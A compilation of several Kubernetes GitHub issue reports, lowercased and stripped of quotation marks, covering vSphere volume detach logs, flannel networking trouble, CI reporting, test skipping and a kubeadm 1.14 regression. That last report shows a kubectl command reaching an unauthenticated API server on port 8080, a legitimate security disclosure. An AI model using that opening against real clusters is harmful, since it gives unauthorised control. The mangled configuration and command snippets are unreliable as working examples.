2017-08-18t23:27:06.987687983z\ }\r {\ log\ :\ i0818 23:27:07.005200       1 gc_controller.go:166  forced deletion of orphaned pod redis-master-2401852951-w92hb succeeded\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.005265456z\ }\r {\ log\ :\ i0818 23:27:07.027452       1 event.go:218  event v1.objectreference{kind:\\\ replicaset\\\ , namespace:\\\ default\\\ , name:\\\ redis-master-2401852951\\\ , uid:\\\ 3f1729f7-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ extensions\\\ , resourceversion:\\\ 909\\\ , fieldpath:\\\ \\\ } : type: 'normal' reason: 'successfulcreate' created pod: redis-master-2401852951-wcx6h\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.027541497z\ }\r {\ log\ :\ i0818 23:27:07.044256       1 nodecontroller.go:553  nodecontroller observed a node deletion: node2\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.044322304z\ }\r {\ log\ :\ i0818 23:27:07.044362       1 controller_utils.go:274  recording removing node node2 from nodecontroller event message for node node2\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.048265998z\ }\r {\ log\ :\ i0818 23:27:07.044485       1 event.go:218  event v1.objectreference{kind:\\\ node\\\ , namespace:\\\ \\\ , name:\\\ node2\\\ , uid:\\\ 14b8f7fb-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ \\\ , resourceversion:\\\ \\\ , fieldpath:\\\ \\\ } : type: 'normal' reason: 'removingnode' node node2 event: removing node node2 from nodecontroller\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.048273963z\ }\r 2017-08-18t23:27:07.048273963z\ }\r {\ log\ :\ w0818 23:27:07.054184       1 reconciler.go:262  multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.05423019z\ }\r {\ log\ :\ i0818 23:27:07.054279       1 event.go:218  event v1.objectreference{kind:\\\ pod\\\ , namespace:\\\ default\\\ , name:\\\ redis-master-2401852951-wcx6h\\\ , uid:\\\ bff886d1-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ v1\\\ , resourceversion:\\\ 945\\\ , fieldpath:\\\ \\\ } : type: 'warning' reason: 'failedattachvolume' multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.054350162z\ }\r {\ log\ :\ w0818 23:27:07.054184       1 reconciler.go:262  multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.05423019z\ }\r {\ log\ :\ i0818 23:27:07.054279       1 event.go:218  event v1.objectreference{kind:\\\ pod\\\ , namespace:\\\ default\\\ , name:\\\ redis-master-2401852951-wcx6h\\\ , uid:\\\ bff886d1-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ v1\\\ , resourceversion:\\\ 945\\\ , fieldpath:\\\ \\\ } : type: 'warning' reason: 'failedattachvolume' multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.054350162z\ }\r {\ log\ :\ w0818 23:27:07.154442       1 reconciler.go:262  multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.154554127z\ }\r {\ log\ :\ i0818 23:27:07.155116       1 event.go:218  event v1.objectreference{kind:\\\ pod\\\ , namespace:\\\ default\\\ , name:\\\ redis-master-2401852951-wcx6h\\\ , uid:\\\ bff886d1-846c-11e7-addd-0050569ccb52\\\ , apiversion:\\\ v1\\\ , resourceversion:\\\ 945\\\ , fieldpath:\\\ \\\ } : type: 'warning' reason: 'failedattachvolume' multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.15522094z\ }\r {\ log\ :\ w0818 23:27:07.254711       1 reconciler.go:262  multi-attach error for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  volume is already exclusively attached to one node and can't be attached to another\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:27:07.254837081z\ }\r \r   at the end of 6 minutes, you will see attach/detach controller attempts a force delete after which attach volume on new node succeeds.  \r \r   {\ log\ :\ w0818 23:33:07.140938         1 reconciler.go:228  attacherdetacher.detachvolume started for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   on node \\\ node2\\\  this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.140998742z\ }\r {\ log\ :\ i0818 23:33:07.141103       1 attacher.go:231    detach in attacher.go with devicemountpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.141180226z\ }\r {\ log\ :\ i0818 23:33:07.141201       1 attacher.go:233    calling diskisattached in attacher.go with volpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.141248186z\ }\r {\ log\ :\ i0818 23:33:07.141303       1 vsphere.go:1003    diskisattached with volpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\  and nodename: \\\ node2\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.141325846z\ }\r {\ log\ :\ i0818 23:33:07.413977       1 vsphere.go:1041    diskisattached result with volpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\  and nodename: \\\ node2\\\  is isattached: true and err: \\u003cnil\\u003e\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.414101776z\ }\r {\ log\ :\ i0818 23:33:07.414265       1 attacher.go:250    calling detachdisk in attacher.go with volpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.414329139z\ }\r {\ log\ :\ i0818 23:33:07.414359       1 vsphere.go:1225    detachdisk with volpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\  and nodename: \\\ node2\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:07.41448605z\ }\r {\ log\ :\ i0818 23:33:08.855287       1 vsphere.go:1282    detachdisk result with volpath: \\\  vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\  and nodename: \\\ node2\\\  is err: \\u003cnil\\u003e\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:08.855487181z\ }\r {\ log\ :\ i0818 23:33:08.855387       1 operation_generator.go:348  detachvolume.detach succeeded for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   on node \\\ node2\\\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:08.855531178z\ }\r {\ log\ :\ i0818 23:33:08.945540       1 reconciler.go:272  attacherdetacher.attachvolume started for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:08.945844415z\ }\r {\ log\ :\ i0818 23:33:11.951325       1 reconciler.go:272  attacherdetacher.attachvolume started for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:11.951450457z\ }\r {\ log\ :\ i0818 23:33:12.581761       1 operation_generator.go:275  attachvolume.attach succeeded for volume \\\ pvc-2f53fe7e-846c-11e7-addd-0050569ccb52\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-2f53fe7e-846c-11e7-addd-0050569ccb52.vmdk\\\   from node \\\ node3\\\  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-18t23:33:12.581846373z\ }\r    \r \r the issue is because of a recent change in kubernetes release 1.7 - https://github.com/kubernetes/kubernetes/pull/45346 which handles \ multi-attach error for volume\ \r \r i think this is a very serious problems for us, as in case of vsphere volumes are not detached automatically when the node is powered off as in gce or aws.\r \r @tusharnt @divyenpatel @luomiao @rohitjogvmw @pdhamdhere\r \r @jingxu97 @saad-ali @msau42 @codablock: can you please provide your inputs on this.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  /  \r \r   what happened  :\r noticed that  fpull-kubernetes-e2e-gce-etcd3  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce-etcd3  reports success for some prs with failing testcases.\r \r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51258/pull-kubernetes-e2e-gce-etcd3/49636;\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50559/pull-kubernetes-e2e-gce-etcd3/49628/;\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51266/pull-kubernetes-e2e-gce-etcd3/49626/\r \r   what you expected to happen  :\r reports   failure   when testcases failed.\r

the pod-to-pod network does not work when deploy flanneld with daemonset in kubernetes 1.7.5\r \r ref:\r \r -  creating a custom cluster from scratch  https://kubernetes.io/docs/getting-started-guides/scratch/ \r -  battlefield: calico, flannel, weave and docker overlay network  http://chunqi.li/2015/11/15/battlefield-calico-flannel-weave-and-docker-overlay-network/ \r - https://github.com/kubernetes/dashboard/issues/1287 issuecomment-250681546\r - https://www.kubernetes.org.cn/2270.html\r - https://github.com/coreos/flannel/blob/master/documentation/kubernetes.md\r - https://github.com/coreos/flannel/blob/master/documentation/troubleshooting.md\r - https://hub.docker.com/r/ibmcom/pause/\r - https://github.com/coreos/flannel/issues/728\r \r   env\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r   uname -a\r linux k8s-master 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r   cat /etc/redhat-release\r centos linux release 7.3.1611  core \r    \r \r all host is a kvm instance, there is only one eth0 nic:\r \r    \r   ifconfig\r eth0: flags=4163<up,broadcast,running,multicast>  mtu 1500\r         inet 10.0.0.123  netmask 255.0.0.0  broadcast 10.255.255.255\r         inet6 fe80::aede:a8ff:fe90:2000  prefixlen 64  scopeid 0x20<link>\r         ether ac:de:a8:90:20:00  txqueuelen 1000   ethernet \r         rx packets 378309  bytes 517846429  493.8 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 348709  bytes 168105982  160.3 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r    \r \r   my step\r \r    \r 10.0.0.123 k8s-master\r 10.0.0.126 k8s-node-1\r 10.0.0.128 k8s-node-2\r 10.0.0.129 k8s-node-3\r    \r \r    deploy kubernetes\r \r  ~/config/var_lib_kubelet/kubeconfig  :\r \r    yaml\r current-context: default-context\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /root/config/certs/ca.crt\r     server: https://10.0.0.123\r   name: default-cluster\r contexts:\r - context:\r     cluster: default-cluster\r     user: admin\r   name: default-context\r - context:\r kind: config\r preferences: {}\r users:\r - name: admin\r   user:\r     client-certificate: /root/config/certs/admin.crt\r     client-key: /root/config/certs/admin.key\r    \r \r     k8s-master\r \r    \r systemctl start etcd\r    \r \r    \r kube-apiserver \\\r     --bind-address=0.0.0.0 \\\r     --secure-port=443 \\\r     --etcd-servers=http://10.0.0.123:2379  \\\r     --service-cluster-ip-range=10.254.0.0/16 \\\r     --allow-privileged \\\r     --advertise-address 10.0.0.123 \\\r     --admission-control=namespacelifecycle,limitranger,serviceaccount,resourcequota \\\r     --tls-cert-file ~/config/certs/apiserver.crt \\\r     --tls-private-key-file ~/config/certs/apiserver.key \\\r     --client-ca-file ~/config/certs/ca.crt \\\r     --service-account-key-file ~/config/certs/apiserver.key\r    \r \r    \r kube-scheduler --kubeconfig ~/config/var_lib_kubelet/kubeconfig\r    \r \r    \r kube-controller-manager \\\r     --kubeconfig ~/config/var_lib_kubelet/kubeconfig \\\r     --service-account-private-key-file ~/config/certs/apiserver.key \\\r     --root-ca-file ~/config/certs/ca.crt \\\r     --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16\r    \r \r     k8s-node-1 & k8s-node-2 & k8s-node-3\r \r    \r systemctl start docker\r    \r \r    \r kubelet \\\r     --require-kubeconfig \\\r     --kubeconfig=/root/config/var_lib_kubelet/kubeconfig \\\r     --pod-infra-container-image=ibmcom/pause:3.0 \\\r     --allow-privileged\r    \r \r    \r kube-proxy --kubeconfig /root/config/var_lib_kubelet/kubeconfig\r    \r \r    deploy flannel\r \r  https://github.com/coreos/flannel/releases  https://github.com/coreos/flannel/releases \r \r    \r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/v0.8.0/documentation/kube-flannel.yml\r    \r \r the result seems to successful:\r \r    \r   kubectl get pods -o wide --all-namespaces\r namespace     name                    ready     status    restarts   age       ip           node\r kube-system   kube-flannel-ds-93v0t   2/2       running   0          18m       10.0.0.128   k8s-node-2\r kube-system   kube-flannel-ds-h1skw   2/2       running   0          18m       10.0.0.126   k8s-node-1\r kube-system   kube-flannel-ds-qfhhd   2/2       running   0          18m       10.0.0.129   k8s-node-3\r    \r \r    \r   kubectl -n kube-system logs -c kube-flannel kube-flannel-ds-h1skw\r i0903 22:47:27.790105       5 main.go:446  determining ip address of default interface\r i0903 22:47:27.791810       5 main.go:459  using interface with name eth0 and address 10.0.0.126\r i0903 22:47:27.791827       5 main.go:476  defaulting external address to interface address  10.0.0.126 \r i0903 22:47:27.821757       5 kube.go:130  waiting 10m0s for node controller to sync\r i0903 22:47:27.821795       5 kube.go:283  starting kube subnet manager\r i0903 22:47:28.821942       5 kube.go:137  node controller sync successful\r i0903 22:47:28.821974       5 main.go:226  created subnet manager: kubernetes subnet manager - k8s-node-1\r i0903 22:47:28.821990       5 main.go:229  installing signal handlers\r i0903 22:47:28.822074       5 main.go:330  found network config - backend type: vxlan\r i0903 22:47:28.824709       5 ipmasq.go:51  adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r i0903 22:47:28.825945       5 ipmasq.go:51  adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r i0903 22:47:28.827360       5 ipmasq.go:51  adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/24 -j return\r i0903 22:47:28.828595       5 ipmasq.go:51  adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r i0903 22:47:28.830014       5 main.go:279  wrote subnet file to /run/flannel/subnet.env\r i0903 22:47:28.830040       5 main.go:284  finished starting backend.\r i0903 22:47:28.830072       5 vxlan_network.go:56  watching for l3 misses\r i0903 22:47:28.830089       5 vxlan_network.go:64  watching for new subnet leases\r    \r \r on k8s-node-1:\r \r    \r   cat /run/flannel/subnet.env\r flannel_network=10.244.0.0/16\r flannel_subnet=10.244.0.1/24\r flannel_mtu=1450\r flannel_ipmasq=true\r   cat /etc/cni/net.d/10-flannel.conf\r {\r   \ name\ : \ cbr0\ ,\r   \ type\ : \ flannel\ ,\r   \ delegate\ : {\r     \ isdefaultgateway\ : true\r   }\r }\r   ifconfig \r docker0: flags=4163<up,broadcast,running,multicast>  mtu 1500\r         inet 172.17.0.1  netmask 255.255.0.0  broadcast 0.0.0.0\r         inet6 fe80::42:68ff:fec9:358  prefixlen 64  scopeid 0x20<link>\r         ether 02:42:68:c9:03:58  txqueuelen 0   ethernet \r         rx packets 0  bytes 0  0.0 b \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 8  bytes 648  648.0 b \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r eth0: flags=4163<up,broadcast,running,multicast>  mtu 1500\r         inet 10.0.0.126  netmask 255.0.0.0  broadcast 10.255.255.255\r         inet6 fe80::aede:a8ff:fe90:2001  prefixlen 64  scopeid 0x20<link>\r         ether ac:de:a8:90:20:01  txqueuelen 1000   ethernet \r         rx packets 329220  bytes 458969930  437.7 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 285864  bytes 26184002  24.9 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r flannel.1: flags=4163<up,broadcast,running,multicast>  mtu 1450\r         inet 10.244.0.0  netmask 255.255.255.255  broadcast 0.0.0.0\r         inet6 fe80::ec8f:7cff:fefd:5aca  prefixlen 64  scopeid 0x20<link>\r         ether ee:8f:7c:fd:5a:ca  txqueuelen 0   ethernet \r         rx packets 0  bytes 0  0.0 b \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 0  bytes 0  0.0 b \r         tx errors 0  dropped 8 overruns 0  carrier 0  collisions 0\r \r lo: flags=73<up,loopback,running>  mtu 65536\r         inet 127.0.0.1  netmask 255.0.0.0\r         inet6 ::1  prefixlen 128  scopeid 0x10<host>\r         loop  txqueuelen 1   local loopback \r         rx packets 464  bytes 43436  42.4 kib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 464  bytes 43436  42.4 kib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r veth1db6953: flags=4163<up,broadcast,running,multicast>  mtu 1500\r         inet6 fe80::f404:99ff:fedb:8663  prefixlen 64  scopeid 0x20<link>\r         ether f6:04:99:db:86:63  txqueuelen 0   ethernet \r         rx packets 0  bytes 0  0.0 b \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 8  bytes 648  648.0 b \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r    \r \r    deploy test pods\r \r  nginx-deploy.yml \r \r    yaml\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   replicas: 3   tells deployment to run 3 pods matching the template\r   template:   create pods using pod definition in this template\r     metadata:\r         unlike pod-nginx.yaml, the name is not included in the meta data as a unique name is\r         generated from the deployment name\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r    \r \r    \r   kubectl create -f nginx-deploy.yml\r deployment \ nginx-deployment\  created\r    \r \r    \r   kubectl get pods -o wide --all-namespaces\r namespace     name                               ready     status    restarts   age       ip           node\r default       nginx-deployment-431080787-26b8z   1/1       running   0          18s       172.17.0.2   k8s-node-2\r default       nginx-deployment-431080787-ddg6p   1/1       running   0          18s       172.17.0.2   k8s-node-3\r default       nginx-deployment-431080787-zwf88   1/1       running   0          18s       172.17.0.2   k8s-node-1\r kube-system   kube-flannel-ds-93v0t              2/2       running   0          23m       10.0.0.128   k8s-node-2\r kube-system   kube-flannel-ds-h1skw              2/2       running   0          23m       10.0.0.126   k8s-node-1\r kube-system   kube-flannel-ds-qfhhd              2/2       running   0          23m       10.0.0.129   k8s-node-3\r    \r \r   why all pods use 172.17.0.2 ?   not  10.244.x.x  ?\r \r the  172.17.0.2  is docker's default private ip in host.\r \r i tried:\r \r 1. restart nodes & kubelet & docker\r 2. deploy k8s-node-1 & k8s-node-2 & k8s-node-3 after flanneld\r 3. reset kubernetes cluster many times\r 4. config docker daemon in k8s-node-1 with  /run/flannel/subnet.env  , the seems work, but pod's network can not be ping from other nodes\r \r any help would be appreciated, thanks!\r

is this a bug report or feature request?  :\r  \r   description  :\r \r as discussed at https://github.com/kubernetes/features/issues/166 issuecomment-338165103 , we need to increase the code coverage of nodecontroller's taintbasedeviction feature for upgrading to beta.\r \r 

it looks like code-generator has been synced since 1.9.0-alpha.2 was tagged  https://github.com/kubernetes/code-generator , but the code-generator repo is missing the 1.9.0-alpha.2 tag.\r \r @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r under some circumstances i get error in pod running elasticsearch that pod can't get local hostname. that is because local host name  pod name  was absent in /etc/hosts\r \r   what you expected to happen  :\r local host name must be present in /etc/hosts to allow local host resolving.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm not 100% sure, may be that issue started after assigning pods to another node because of node unavailability. \r \r   anything else we need to know?  :\r elasticsearch  java  stack trace:\r    \r 2018-01-31 13:58:16,381 main error could not determine local host name java.net.unknownhostexception: es-client-48892288-l844b: es-client-48892288-l844b: system error\r \tat java.net.inetaddress.getlocalhost inetaddress.java:1505 \r \tat org.apache.logging.log4j.core.util.netutils.getlocalhostname netutils.java:53 \r ...\r caused by: java.net.unknownhostexception: es-client-48892288-l844b: system error\r \tat java.net.inet6addressimpl.lookupallhostaddr native method \r \tat java.net.inetaddress$2.lookupallhostaddr inetaddress.java:928 \r \tat java.net.inetaddress.getaddressesfromnameservice inetaddress.java:1323 \r \tat java.net.inetaddress.getlocalhost inetaddress.java:1500 \r ...\r    \r pod info:\r    \r name:\t\tes-client-48892288-l844b\r namespace:\tlogging\r status:\t\trunning\r ip:\t\t\r ...\r events:\r   2h\t\t7s\t\t636\tkubelet, lga-kubnode06\tspec.containers{es-client}\twarning\t\tbackoff\t\tback-off restarting failed container\r   2h\t\t7s\t\t636\tkubelet, lga-kubnode06\t\t\t\t\twarning\t\tfailedsync\terror syncing pod\r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t18:34:52z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.11\ , gitcommit:\ b13f2fd682d56eab7a6a2b5a1cab1a3d2c8bdd55\ , gittreestate:\ clean\ , builddate:\ 2017-11-25t17:51:39z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r vmware vms\r 8x intel r  xeon r  cpu e5-2670 0 @ 2.60ghz\r mem: 12g\r \r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core  \r \r - kernel  e.g.  uname -a  :\r linux 3.10.0-693.2.2.el7.x86_64\r \r - install tools:\r manually installed\r \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   \r   what happened  :\r \r there are plenty of tests which cannot pass using windows nodes due to various reasons. those are some of them:\r \r - selinuxoptions are not supported on windows.\r - running as an uid / gid is not supported on windows.\r - file permissions work differently on windows, and they cannot be set in\r   the same manner as on linux.\r - individual files cannot be mounted in windows containers.\r - cannot create container using linux image  alpine  on windows.\r \r these kinds of tests should be skippable by passing the   --node-os-distro=windows   ginkgo argument.\r \r   what you expected to happen  :\r \r the tests fail when using windows nodes, and they are not skipped when the   node-os-distro   is set to   windows  .\r \r ideally, future tests will take into account if they should also pass on windows nodes, and if not, they should be skipped.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the tests using windows nodes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-rc.2\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows server 1803 nodes\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

\r   what happened  :\r \r since kubeadm 1.14   72241 is likely the change , the kubernetes api server created with kubeadm init listen on 127.0.0.1:8080, which allow full access unauthenticated.\r \r   what you expected to happen  :\r \r like with kubeadm 1.13, kubernetes api server should not listen on port 8080.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   pod_cidr=10.244.0.0/16\r   kubeadm init --pod-network-cidr $pod_cidr --kubernetes-version v1.14.0-beta.2\r  ... \r   kubectl --server=http://localhost:8080 get node\r name     status     roles    age   version\r node-3   notready   master   13m   v1.14.0-beta.2.66+846a82fecc6959\r \r the kubectl shouldn't work, i don't have credentials:\r   env|grep kubeconfig\r   ls ~/.kube\r cache  http-cache\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-beta.2.66+846a82fecc6959\ , gitcommit:\ 846a82fecc69594712040f715d5447bcd445b9c2\ , gittreestate:\ clean\ , builddate:\ 2019-03-15t09:35:50z\ , goversion:\ go1.12\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-beta.2\ , gitcommit:\ b1e389e6f7bd798a8dd162f82b918f509ac5291b\ , gittreestate:\ clean\ , builddate:\ 2019-03-12t18:01:33z\ , goversion:\ go1.12\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: bare-metal  virtualbox \r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r linux node-3 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: plan kubeadm. debs file dowloaded from https://console.cloud.google.com/storage/browser/kubernetes-release-dev/bazel/v1.14.0-beta.2.66+846a82fecc6959/\r

